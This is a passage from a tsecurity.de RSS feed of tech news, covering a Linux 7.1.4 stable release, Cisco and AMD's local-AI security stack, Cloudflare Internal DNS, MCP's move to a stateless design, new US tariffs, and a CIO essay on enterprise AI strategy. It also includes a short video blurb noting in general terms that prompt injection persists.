And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.

Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?

Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.

]]> <![CDATA[Colorado Names First Principal Director of AI Architecture]]> https://tsecurity.de/de/3692646/ai-nachrichten/colorado-names-first-principal-director-of-ai-architecture/ https://tsecurity.de/de/3692646/ai-nachrichten/colorado-names-first-principal-director-of-ai-architecture/ Sat, 25 Jul 2026 00:03:49 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Linux Kernel 7.1.4 Released with Bug Fixes, Security Updates, and Hardware Improvements]]> https://tsecurity.de/de/3692292/unix-server/linux-kernel-714-released-with-bug-fixes-security-updates-and-hardware-improvements/ https://tsecurity.de/de/3692292/unix-server/linux-kernel-714-released-with-bug-fixes-security-updates-and-hardware-improvements/ Fri, 24 Jul 2026 20:32:46 +0200 🐧 Unix Server tsecurity.de
Linux Kernel 7.1.4 Released with Bug Fixes, Security Updates, and Hardware Improvements
by George Whittaker

Greg Kroah-Hartman has announced the release of Linux Kernel 7.1.4, the latest stable maintenance update for the Linux 7.1 series. As with other stable kernel releases, version 7.1.4 focuses on fixing bugs, improving hardware compatibility, and addressing security and reliability issues without introducing new features. The update became available on July 18, 2026, and users of the Linux 7.1 branch are encouraged to upgrade as soon as possible.

Rather than changing the kernel's feature set, Linux 7.1.4 delivers dozens of targeted fixes collected from developers across multiple kernel subsystems, helping ensure a more stable experience for desktops, servers, embedded devices, and cloud deployments.

Another Important Stable Maintenance Release

The Linux stable branch exists to provide safe updates between major kernel versions. Every stable release undergoes review before being published and contains fixes that have already been tested in the mainline kernel.

Linux 7.1.4 continues this process by incorporating patches that resolve regressions, improve system stability, and fix issues reported by users since the release of Linux 7.1.3.

For most users, these maintenance updates are recommended because they improve reliability without altering existing functionality.

Bug Fixes Across Multiple Kernel Subsystems

Like previous stable releases, Linux 7.1.4 includes fixes spanning many areas of the kernel.

The update addresses issues affecting:

  • Memory management
  • File systems
  • Networking
  • Device drivers
  • Architecture-specific code
  • Core kernel infrastructure
  • USB and storage subsystems

These targeted patches help eliminate crashes, improve compatibility with newer hardware, and resolve edge cases that may only appear under specific workloads.

Improved Hardware Compatibility

One of the ongoing goals of Linux stable releases is expanding support for existing and newly released hardware.

Linux 7.1.4 includes updated drivers and compatibility fixes for various devices, helping improve support for:

  • Graphics hardware
  • Storage controllers
  • Networking devices
  • USB peripherals
  • Laptop components
  • ARM development boards

Although no major driver additions are expected in a maintenance release, incremental improvements like these often resolve hardware-specific bugs reported by users after earlier releases.

Security and Reliability Updates

Stable kernel releases also include security-related fixes that have been accepted into the maintenance branch.

Go to Full Article
]]> <![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]> https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/ Fri, 24 Jul 2026 19:56:29 +0200 📰 IT Security Nachrichten tsecurity.de

For CIOs, learning from the startup ecosystem has never been more critical.

As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.

So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?

Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.

Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 

This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.

Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.

And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.

That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.

And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.

Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?

Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.

]]> <![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]> https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/ https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/ Fri, 24 Jul 2026 19:18:26 +0200 📰 IT Security Nachrichten tsecurity.de

Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.

During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Patel took to the stage during AMD CEO Lisa Su’s keynote to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and AMD are partnering to develop.

The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s Yash Sheth, senior director, engineering and research, in a blog post about the new package.

Ryzen AI Halo (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.

width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">

AMD

Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.

Cisco also brings its AI Defense for model and agent security; DefenseClaw for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and Cisco Cloud Control offering a single pane of glass for unified policy and control, Sheth stated.

“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.

“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”

As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a statement from AMD.

“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.

“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.

A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:

  • AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.
  • AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.
  • The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.
  • Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.
]]> <![CDATA[Cloudflare Internal DNS puts public and private DNS on one policy engine]]> https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/ https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/ Fri, 24 Jul 2026 18:18:13 +0200 📰 IT Security Nachrichten tsecurity.de

Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. 

While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means ongoing manual synchronization work for network teams. 

Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.

Cloudflare’s answer is a product it calls Internal DNS.

“Many organizations already use Cloudflare for their public DNS,” Enrique Somoza, product, performance and infrastructure at Cloudflare, told Network World. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” 

How it works

Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.

“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.

Policy first. The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”

No public path in. Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.

One hostname, multiple answers. Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”

Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.

View selection. The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. 

“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”

A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.

Latency and resilience. Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”

How this differs from split-horizon DNS

Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.

“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”

Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”

For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.

Early use cases and migration challenges

Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.

Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.

When it comes to migration, the friction customers report during migration is procedural rather than architectural.

“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”

]]> <![CDATA[Build an explainable next-best-product recommendation system for banking on AWS]]> https://tsecurity.de/de/3691968/ai-nachrichten/build-an-explainable-next-best-product-recommendation-system-for-banking-on-aws/ https://tsecurity.de/de/3691968/ai-nachrichten/build-an-explainable-next-best-product-recommendation-system-for-banking-on-aws/ Fri, 24 Jul 2026 17:50:40 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Model Context Protocol is going stateless to make scaling simpler]]> https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ Fri, 24 Jul 2026 17:40:37 +0200 🔧 AI Nachrichten tsecurity.de

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

]]> <![CDATA[Which of your old cables are actually worth keeping?]]> https://tsecurity.de/de/3691910/it-nachrichten/which-of-your-old-cables-are-actually-worth-keeping/ https://tsecurity.de/de/3691910/it-nachrichten/which-of-your-old-cables-are-actually-worth-keeping/ Fri, 24 Jul 2026 17:38:40 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Model Context Protocol is going stateless to make scaling simpler]]> https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/ Fri, 24 Jul 2026 17:38:35 +0200 📰 IT Nachrichten tsecurity.de

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

]]> <![CDATA[New U.S. tariffs hit Apple's supply chain, with no clear exemptions]]> https://tsecurity.de/de/3691847/ios-mac-os/new-us-tariffs-hit-apples-supply-chain-with-no-clear-exemptions/ https://tsecurity.de/de/3691847/ios-mac-os/new-us-tariffs-hit-apples-supply-chain-with-no-clear-exemptions/ Fri, 24 Jul 2026 16:55:54 +0200 🍏 iOS / Mac OS tsecurity.de iPhone and Mac are assembled.

Scientist in full protective suit and goggles holds a tiny rectangular microchip between blue-gloved fingers in a clean, sterile laboratory environment
Apple's supply chain may be impacted by new tariffs. Image credit: Intel

The new tariffs went into effect on Friday, July 24, 2026. They come into force as a 10% blanket import tax imposed by the Trump administration lapsed following a Supreme Court ruling that it was unlawful.

The new action follows a months-long investigation by the U.S. Trade Representative into the possible use of forced labor in the production of goods in 60 countries.


Continue Reading on AppleInsider | Discuss on our Forums]]> <![CDATA[AI's Biggest Hidden Security Flaw]]> https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/ https://tsecurity.de/de/3691785/it-security-video/ais-biggest-hidden-security-flaw/ Fri, 24 Jul 2026 16:22:44 +0200 đŸŽ„ IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 2x - Views:12

Modern LLMs process prompts by predicting the next token from context. They don't inherently distinguish system instructions from user instructions, and many "reasoning" models use the same underlying architecture while producing reasoning-style text.

That makes prompt or command injection a persistent security challenge and highlights an important limitation: fluent explanations aren't necessarily evidence of genuine reasoning or understanding. Developers need additional safeguards instead of assuming the model can reliably separate trustworthy instructions from malicious ones.

Should future AI models include stronger architectural separation between trusted instructions and user input, or can software safeguards solve the problem?

Subscribe to our podcasts: https://securityweekly.com/subscribe

#LLM #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

]]> <![CDATA[Rethinking the transport layer for AI-first architecture]]> https://tsecurity.de/de/3691771/it-nachrichten/rethinking-the-transport-layer-for-ai-first-architecture/ https://tsecurity.de/de/3691771/it-nachrichten/rethinking-the-transport-layer-for-ai-first-architecture/ Fri, 24 Jul 2026 16:20:27 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[USN-8604-1: Linux kernel (Azure) vulnerabilities]]> https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/ https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/ Fri, 24 Jul 2026 14:17:46 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8605-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:44 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]> https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/ https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/ Fri, 24 Jul 2026 14:17:43 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]> https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/ https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/ Fri, 24 Jul 2026 14:17:41 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8607-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691497/unix-server/usn-8607-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:40 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]> https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/ https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/ Fri, 24 Jul 2026 14:17:38 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:37 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8575-3: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/ Fri, 24 Jul 2026 14:17:35 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8610-1: Linux kernel (Azure CVM) vulnerabilities]]> https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/ https://tsecurity.de/de/3691493/unix-server/usn-8610-1-linux-kernel-azure-cvm-vulnerabilities/ Fri, 24 Jul 2026 14:17:33 +0200 🐧 Unix Server tsecurity.de <![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]> https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/ Fri, 24 Jul 2026 13:04:13 +0200 📰 IT Nachrichten tsecurity.de

I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.

The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.

AI as a leadership multiplier

The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.

When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”

Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

  • Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
  • Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
  • C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

